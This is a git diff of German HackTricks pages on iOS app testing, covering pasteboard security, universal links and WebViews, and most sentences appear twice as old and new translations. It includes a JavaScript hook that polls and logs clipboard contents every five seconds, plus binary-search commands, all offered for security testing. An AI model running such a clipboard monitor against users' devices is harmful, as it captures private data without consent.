- **Benutzerdefinierte / benannte Pasteboards**: Diese sind speziell für die Datenfreigabe **innerhalb einer App oder mit einer anderen App**, die dieselbe Team-ID teilt, und sind nicht dafür ausgelegt, über die Lebensdauer des Anwendungsprozesses, der sie erstellt, hinaus zu bestehen, gemäß den Änderungen, die in iOS 10 eingeführt wurden.
**Sicherheitsüberlegungen** spielen eine wichtige Rolle bei der Verwendung von Pasteboards. Zum Beispiel:
- Es gibt keinen Mechanismus für Benutzer, die App-Berechtigungen zum Zugriff auf das **Pasteboard** zu verwalten.
- Um das Risiko eines unbefugten Hintergrundmonitorings des Pasteboards zu verringern, ist der Zugriff auf die Anwendung im Vordergrund beschränkt (seit iOS 9).
- Die Verwendung von persistenten benannten Pasteboards wird aufgrund von Datenschutzbedenken zugunsten von gemeinsamen Containern nicht empfohlen.
- Das mit iOS 10 eingeführte **Universal Clipboard**-Feature, das den Inhalt über Geräte hinweg über das allgemeine Pasteboard teilen kann, kann von Entwicklern verwaltet werden, um Datenablauf und automatische Inhaltsübertragung zu deaktivieren.
**Sicherheitsüberlegungen** spielen eine bedeutende Rolle bei der Nutzung von Pasteboards. Zum Beispiel:
- Es gibt keinen Mechanismus für Benutzer, um die App-Berechtigungen zum Zugriff auf das **Pasteboard** zu verwalten.
- Um das Risiko einer unbefugten Hintergrundüberwachung des Pasteboards zu verringern, ist der Zugriff auf den Vordergrund der Anwendung beschränkt (seit iOS 9).
- Die Verwendung von persistenten benannten Pasteboards wird aus Datenschutzgründen zugunsten von gemeinsamen Containern nicht empfohlen.
- Die mit iOS 10 eingeführte **Universal Clipboard**-Funktion, die das Teilen von Inhalten über Geräte hinweg über das allgemeine Pasteboard ermöglicht, kann von Entwicklern verwaltet werden, um die Datenablaufzeit festzulegen und die automatische Inhaltsübertragung zu deaktivieren.
Es ist entscheidend sicherzustellen, dass **sensible Informationen nicht versehentlich** auf dem globalen Pasteboard gespeichert werden. Darüber hinaus sollten Anwendungen so konzipiert sein, dass der Missbrauch von globalen Pasteboard-Daten für unbeabsichtigte Aktionen verhindert wird, und Entwickler werden ermutigt, Maßnahmen zu implementieren, um das Kopieren sensibler Informationen in die Zwischenablage zu verhindern.
Es ist entscheidend, sicherzustellen, dass **sensible Informationen nicht versehentlich** im globalen Pasteboard gespeichert werden. Darüber hinaus sollten Anwendungen so gestaltet sein, dass sie den Missbrauch von globalen Pasteboard-Daten für unbeabsichtigte Aktionen verhindern, und Entwickler werden ermutigt, Maßnahmen zu ergreifen, um das Kopieren sensibler Informationen in die Zwischenablage zu verhindern.
### Statische Analyse
Für die statische Analyse suchen Sie im Quellcode oder Binärdatei nach:
- `generalPasteboard`, um die Verwendung des **systemweiten allgemeinen Pasteboards** zu identifizieren.
Für die statische Analyse suchen Sie im Quellcode oder in der Binärdatei nach:
- `generalPasteboard`, um die Nutzung des **systemweiten allgemeinen Pasteboards** zu identifizieren.
- `pasteboardWithName:create:` und `pasteboardWithUniqueName` zur Erstellung von **benutzerdefinierten Pasteboards**. Überprüfen Sie, ob die Persistenz aktiviert ist, obwohl dies veraltet ist.
### Dynamische Analyse
Die dynamische Analyse umfasst das Hooking oder Verfolgen spezifischer Methoden:
- Überwachen Sie `generalPasteboard` für die systemweite Verwendung.
Die dynamische Analyse umfasst das Hooking oder Tracing spezifischer Methoden:
- Überwachen Sie `generalPasteboard` für die systemweite Nutzung.
- Verfolgen Sie `pasteboardWithName:create:` und `pasteboardWithUniqueName` für benutzerdefinierte Implementierungen.
- Beobachten Sie veraltete `setPersistent:`-Methodenaufrufe, um die Persistenzeinstellungen zu überprüfen.
Zu überwachende Schlüsseldetails sind:
- **Pasteboard-Namen** und **Inhalte** (zum Beispiel Überprüfung von Zeichenfolgen, URLs, Bildern).
- **Anzahl der Elemente** und **Datentypen**, die vorhanden sind, unter Verwendung von Standard- und benutzerdefinierten Datentypüberprüfungen.
- **Ablauf- und Nur-lokal-Optionen**, indem Sie die Methode `setItems:options:` inspizieren.
Wichtige Details, die überwacht werden sollten, sind:
- **Pasteboard-Namen** und **Inhalte** (zum Beispiel Überprüfung auf Strings, URLs, Bilder).
- **Anzahl der Elemente** und **Datentypen**, die vorhanden sind, unter Verwendung von Standard- und benutzerdefinierten Datentypprüfungen.
- **Ablauf- und lokal nur-Optionen** durch Überprüfung der `setItems:options:`-Methode.
Ein Beispiel für die Verwendung eines Überwachungstools ist der **Pasteboard-Monitor von objection**, der alle 5 Sekunden das generalPasteboard auf Änderungen überprüft und die neuen Daten ausgibt.
Ein Beispiel für die Nutzung eines Überwachungstools ist **objection's pasteboard monitor**, der das generalPasteboard alle 5 Sekunden auf Änderungen abfragt und die neuen Daten ausgibt.
Hier ist ein einfaches JavaScript-Skriptbeispiel, inspiriert vom Ansatz von objection, um alle 5 Sekunden Änderungen vom Pasteboard zu lesen und zu protokollieren:
Hier ist ein einfaches JavaScript-Skriptbeispiel, inspiriert von der Vorgehensweise von objection, um alle 5 Sekunden Änderungen vom Pasteboard zu lesen und zu protokollieren:
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard;
const Pasteboard = UIPasteboard.generalPasteboard();
@ -74,7 +75,7 @@ console.log(items);
}, 1000 * 5);
```
## Referenzen
## References
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
@ -85,16 +86,17 @@ console.log(items);
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# iOS Universal Links
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Einführung
Universal Links bieten Benutzern ein **nahtloses Umleitungs**-Erlebnis, indem sie Inhalte direkt in der App öffnen und die Notwendigkeit einer Safari-Umleitung umgehen. Diese Links sind **eindeutig** und sicher, da sie nicht von anderen Apps beansprucht werden können. Dies wird durch das Hosting einer `apple-app-site-association` JSON-Datei im Stammverzeichnis der Website sichergestellt, wodurch eine überprüfbare Verbindung zwischen der Website und der App hergestellt wird. In Fällen, in denen die App nicht installiert ist, übernimmt Safari und leitet den Benutzer zur Webseite weiter, wobei die Präsenz der App erhalten bleibt.
Universelle Links bieten eine **nahtlose Weiterleitung** für Benutzer, indem sie Inhalte direkt in der App öffnen und die Notwendigkeit einer Weiterleitung über Safari umgehen. Diese Links sind **einzigartig** und sicher, da sie nicht von anderen Apps beansprucht werden können. Dies wird durch das Hosting einer `apple-app-site-association` JSON-Datei im Stammverzeichnis der Website sichergestellt, wodurch eine überprüfbare Verbindung zwischen der Website und der App hergestellt wird. In Fällen, in denen die App nicht installiert ist, übernimmt Safari und leitet den Benutzer zur Webseite weiter, wodurch die Präsenz der App erhalten bleibt.
Für Penetrationstester ist die `apple-app-site-association`-Datei von besonderem Interesse, da sie möglicherweise **sensible Pfade** offenlegt, die möglicherweise mit unveröffentlichten Funktionen zusammenhängen.
Für Penetrationstester ist die `apple-app-site-association`-Datei von besonderem Interesse, da sie **sensible Pfade** offenbaren kann, die möglicherweise mit nicht veröffentlichten Funktionen in Zusammenhang stehen.
### **Analyse der zugeordneten Domains-Berechtigung**
### **Analyse der Associated Domains Berechtigung**
Entwickler aktivieren Universal Links, indem sie die **Associated Domains** im Capabilities-Tab von Xcode konfigurieren oder die `.entitlements`-Datei inspizieren. Jede Domain ist mit `applinks:` vorangestellt. Zum Beispiel könnte die Konfiguration von Telegram wie folgt aussehen:
Entwickler aktivieren universelle Links, indem sie die **Associated Domains** im Tab "Capabilities" von Xcode konfigurieren oder die `.entitlements`-Datei überprüfen. Jede Domain wird mit `applinks:` vorangestellt. Zum Beispiel könnte die Konfiguration von Telegram wie folgt aussehen:
```xml
<key>com.apple.developer.associated-domains</key>
<array>
@ -30,21 +33,21 @@ Entwickler aktivieren Universal Links, indem sie die **Associated Domains** im C
<string>applinks:t.me</string>
</array>
```
Für umfassendere Einblicke verweisen Sie auf die [archivierte Apple Developer-Dokumentation](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
Für umfassendere Einblicke, siehe die [archivierte Apple Developer Dokumentation](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
Wenn Sie mit einer kompilierten Anwendung arbeiten, können Berechtigungen gemäß [diesem Leitfaden](extracting-entitlements-from-compiled-application.md) extrahiert werden.
Wenn Sie mit einer kompilierten Anwendung arbeiten, können Berechtigungen wie in [diesem Leitfaden](extracting-entitlements-from-compiled-application.md) beschrieben extrahiert werden.
### **Abrufen der Apple App Site Association-Datei**
### **Abrufen der Apple App Site Association Datei**
Die `apple-app-site-association`-Datei sollte vom Server unter Verwendung der in den Berechtigungen angegebenen Domains abgerufen werden. Stellen Sie sicher, dass die Datei über HTTPS direkt unter `https://<domain>/apple-app-site-association` erreichbar ist. Tools wie der [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/) können bei diesem Prozess helfen.
Die `apple-app-site-association` Datei sollte vom Server unter Verwendung der in den Berechtigungen angegebenen Domains abgerufen werden. Stellen Sie sicher, dass die Datei direkt über HTTPS unter `https://<domain>/apple-app-site-association` zugänglich ist. Tools wie der [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/) können bei diesem Prozess helfen.
### **Behandlung von Universal Links in der App**
### **Verarbeiten von Universal Links in der App**
Die App muss spezifische Methoden implementieren, um Universal Links korrekt zu behandeln. Die Hauptmethode, nach der gesucht werden muss, ist [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Es ist entscheidend, dass das Schema der behandelten URLs HTTP oder HTTPS ist, da andere nicht unterstützt werden.
Die App muss spezifische Methoden implementieren, um Universal Links korrekt zu verarbeiten. Die primäre Methode, nach der Sie suchen sollten, ist [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Es ist entscheidend, dass das Schema der verarbeiteten URLs HTTP oder HTTPS ist, da andere nicht unterstützt werden.
#### **Validierung der Datenhandlermethode**
#### **Validierung der Datenhandler-Methode**
Wenn ein Universal Link eine App öffnet, wird der App ein `NSUserActivity`-Objekt mit der URL übergeben. Bevor diese URL verarbeitet wird, ist es wichtig, sie zu validieren und zu bereinigen, um Sicherheitsrisiken zu vermeiden. Hier ist ein Beispiel in Swift, das den Prozess veranschaulicht:
Wenn ein Universal Link eine App öffnet, wird ein `NSUserActivity` Objekt mit der URL an die App übergeben. Bevor diese URL verarbeitet wird, ist es wichtig, sie zu validieren und zu bereinigen, um Sicherheitsrisiken zu vermeiden. Hier ist ein Beispiel in Swift, das den Prozess demonstriert:
```swift
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
@ -56,7 +59,7 @@ application.open(url, options: [:], completionHandler: nil)
return true
}
```
URLs sollten sorgfältig analysiert und validiert werden, insbesondere wenn sie Parameter enthalten, um sich gegen mögliche Spoofing- oder fehlerhafte Daten zu schützen. Die `NSURLComponents` API ist für diesen Zweck nützlich, wie unten dargestellt:
URLs sollten sorgfältig analysiert und validiert werden, insbesondere wenn sie Parameter enthalten, um sich gegen potenzielles Spoofing oder fehlerhafte Daten abzusichern. Die `NSURLComponents` API ist dafür nützlich, wie unten gezeigt:
```swift
func application(_ application: UIApplication,
continue userActivity: NSUserActivity,
@ -82,28 +85,26 @@ return false
}
}
```
Durch **sorgfältige Konfiguration und Validierung** können Entwickler sicherstellen, dass universelle Links die Benutzererfahrung verbessern, während Sicherheits- und Datenschutzstandards eingehalten werden.
Durch **sorgfältige Konfiguration und Validierung** können Entwickler sicherstellen, dass universelle Links das Benutzererlebnis verbessern und gleichzeitig Sicherheits- und Datenschutzstandards einhalten.
## Tools
* [GetUniversal.link](https://getuniversal.link/): Hilft dabei, das Testen und Verwalten der Universal Links und der AASA-Datei Ihrer App zu vereinfachen. Geben Sie einfach Ihre Domain ein, um die Integrität der AASA-Datei zu überprüfen, oder verwenden Sie das benutzerdefinierte Dashboard, um das Linkverhalten einfach zu testen. Dieses Tool hilft Ihnen auch dabei festzustellen, wann Apple Ihre AASA-Datei das nächste Mal indizieren wird.
* [GetUniversal.link](https://getuniversal.link/): Hilft dabei, das Testen und Verwalten der universellen Links und der AASA-Datei Ihrer App zu vereinfachen. Geben Sie einfach Ihre Domain ein, um die Integrität der AASA-Datei zu überprüfen, oder verwenden Sie das benutzerdefinierte Dashboard, um das Linkverhalten einfach zu testen. Dieses Tool hilft Ihnen auch zu bestimmen, wann Apple Ihre AASA-Datei das nächste Mal indizieren wird.
## References
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,31 @@
# iOS WebViews
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
Der Code dieser Seite wurde von [hier](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) extrahiert. Überprüfen Sie die Seite für weitere Details.
Der Code dieser Seite wurde [hier](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) extrahiert. Überprüfen Sie die Seite für weitere Details.
## WebViews-Typen
## Arten von WebViews
WebViews werden innerhalb von Anwendungen verwendet, um interaktive Webinhalte anzuzeigen. Verschiedene Arten von WebViews bieten unterschiedliche Funktionen und Sicherheitsmerkmale für iOS-Anwendungen. Hier ist eine kurze Übersicht:
WebViews werden in Anwendungen verwendet, um interaktiv Webinhalte anzuzeigen. Verschiedene Arten von WebViews bieten unterschiedliche Funktionen und Sicherheitsfunktionen für iOS-Anwendungen. Hier ist ein kurzer Überblick:
- **UIWebView**, das ab iOS 12 nicht mehr empfohlen wird, da es keine Unterstützung für das Deaktivieren von **JavaScript** bietet, was es anfällig für Skripteinspritzung und **Cross-Site Scripting (XSS)**-Angriffe macht.
- **UIWebView**, das ab iOS 12 nicht mehr empfohlen wird, da es keine Unterstützung zum Deaktivieren von **JavaScript** bietet und anfällig für Skripteinbindung und **Cross-Site Scripting (XSS)**-Angriffe ist.
- **WKWebView** ist die bevorzugte Option zur Integration von Webinhalten in Apps und bietet verbesserte Kontrolle über die Inhalte und Sicherheitsmerkmale. **JavaScript** ist standardmäßig aktiviert, kann jedoch bei Bedarf deaktiviert werden. Es unterstützt auch Funktionen, um zu verhindern, dass JavaScript automatisch Fenster öffnet, und stellt sicher, dass alle Inhalte sicher geladen werden. Darüber hinaus minimiert die Architektur von **WKWebView** das Risiko von Speicherbeschädigungen, die den Hauptanwendungsprozess betreffen.
- **WKWebView** ist die bevorzugte Option zur Integration von Webinhalten in Apps und bietet eine verbesserte Kontrolle über den Inhalt und Sicherheitsfunktionen. **JavaScript** ist standardmäßig aktiviert, kann aber bei Bedarf deaktiviert werden. Es unterstützt auch Funktionen, um zu verhindern, dass JavaScript automatisch Fenster öffnet, und stellt sicher, dass alle Inhalte sicher geladen werden. Darüber hinaus minimiert die Architektur von **WKWebView** das Risiko von Speicherbeschädigungen im Hauptprozess der App.
- **SFSafariViewController** bietet eine standardisierte Webbrowser-Erfahrung in Apps, die anhand ihres spezifischen Layouts erkennbar ist, einschließlich eines schreibgeschützten Adressfelds, Freigabe- und Navigationsbuttons sowie eines direkten Links zum Öffnen von Inhalten in Safari. Im Gegensatz zu **WKWebView** kann **JavaScript** in **SFSafariViewController** nicht deaktiviert werden, das auch Cookies und Daten mit Safari teilt und die Privatsphäre des Benutzers von der App aus gewährleistet. Es muss gemäß den App Store-Richtlinien prominent angezeigt werden.
- **SFSafariViewController** bietet ein standardisiertes Webbrowser-Erlebnis innerhalb von Apps, erkennbar an seinem spezifischen Layout, das ein schreibgeschütztes Adressfeld, Freigabe- und Navigationsschaltflächen sowie einen direkten Link zum Öffnen von Inhalten in Safari umfasst. Im Gegensatz zu **WKWebView** kann **JavaScript** im **SFSafariViewController** nicht deaktiviert werden, der auch Cookies und Daten mit Safari teilt und die Privatsphäre des Benutzers von der App aus wahrt. Es muss gemäß den Richtlinien des App Store deutlich angezeigt werden.
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
@ -34,45 +34,45 @@ WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## Zusammenfassung der WebViews-Konfigurationserkundung
## WebViews Konfigurationsuntersuchung Zusammenfassung
### **Übersicht der statischen Analyse**
### **Statische Analyse Übersicht**
Bei der Untersuchung von WebViews-Konfigurationen konzentrieren wir uns auf zwei Haupttypen: **UIWebView** und **WKWebView**. Um diese WebViews in einer Binärdatei zu identifizieren, werden Befehle verwendet, um nach bestimmten Klassenreferenzen und Initialisierungsmethoden zu suchen.
Im Prozess der Untersuchung von **WebViews** Konfigurationen konzentriert man sich auf zwei Haupttypen: **UIWebView** und **WKWebView**. Zur Identifizierung dieser WebViews innerhalb einer Binärdatei werden Befehle verwendet, die nach spezifischen Klassenreferenzen und Initialisierungsmethoden suchen.
- **Identifizierung von UIWebView**
- **UIWebView Identifizierung**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
Dieser Befehl hilft dabei, Instanzen von **UIWebView** zu finden, indem nach Textzeichenketten gesucht wird, die damit in der Binärdatei zusammenhängen.
Dieser Befehl hilft dabei, Instanzen von **UIWebView** zu lokalisieren, indem nach Textzeichenfolgen gesucht wird, die damit im Binärformat verbunden sind.
- **WKWebView Identifizierung**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
Ebenso sucht dieser Befehl in der Binärdatei nach Textzeichenketten, die auf die Verwendung von **WKWebView** hinweisen.
Ebenso sucht dieser Befehl für **WKWebView** im Binärformat nach Textzeichenfolgen, die auf seine Verwendung hinweisen.
Darüber hinaus wird der folgende Befehl ausgeführt, um herauszufinden, wie ein **WKWebView** initialisiert wird. Dabei wird die Methode signaturbezogen auf die Initialisierung anvisiert:
Darüber hinaus wird der folgende Befehl ausgeführt, um herauszufinden, wie ein **WKWebView** initialisiert wird, wobei die Methodensignatur, die mit seiner Initialisierung zusammenhängt, angesprochen wird:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **Überprüfung der JavaScript-Konfiguration**
#### **JavaScript-Konfigurationsüberprüfung**
Für **WKWebView** wird hervorgehoben, dass das Deaktivieren von JavaScript eine bewährte Methode ist, es sei denn, es ist erforderlich. Die kompilierte Binärdatei wird durchsucht, um zu bestätigen, dass die Eigenschaft `javaScriptEnabled` auf `false` gesetzt ist, um sicherzustellen, dass JavaScript deaktiviert ist:
Für **WKWebView** wird hervorgehoben, dass das Deaktivieren von JavaScript eine bewährte Methode ist, es sei denn, es ist erforderlich. Die kompilierte Binärdatei wird durchsucht, um zu bestätigen, dass die `javaScriptEnabled`-Eigenschaft auf `false` gesetzt ist, um sicherzustellen, dass JavaScript deaktiviert ist:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **Nur sichere Inhaltsüberprüfung**
**WKWebView** bietet die Möglichkeit, gemischte Inhaltsprobleme zu identifizieren, im Gegensatz zu **UIWebView**. Dies wird mithilfe der Eigenschaft `hasOnlySecureContent` überprüft, um sicherzustellen, dass alle Seitenressourcen über sichere Verbindungen geladen werden. Die Suche in der kompilierten Binärdatei erfolgt wie folgt:
**WKWebView** bietet die Möglichkeit, Probleme mit gemischtem Inhalt zu identifizieren, im Gegensatz zu **UIWebView**. Dies wird mit der `hasOnlySecureContent`-Eigenschaft überprüft, um sicherzustellen, dass alle Seitenressourcen über sichere Verbindungen geladen werden. Die Suche im kompilierten Binärformat erfolgt wie folgt:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **Einblicke in die dynamische Analyse**
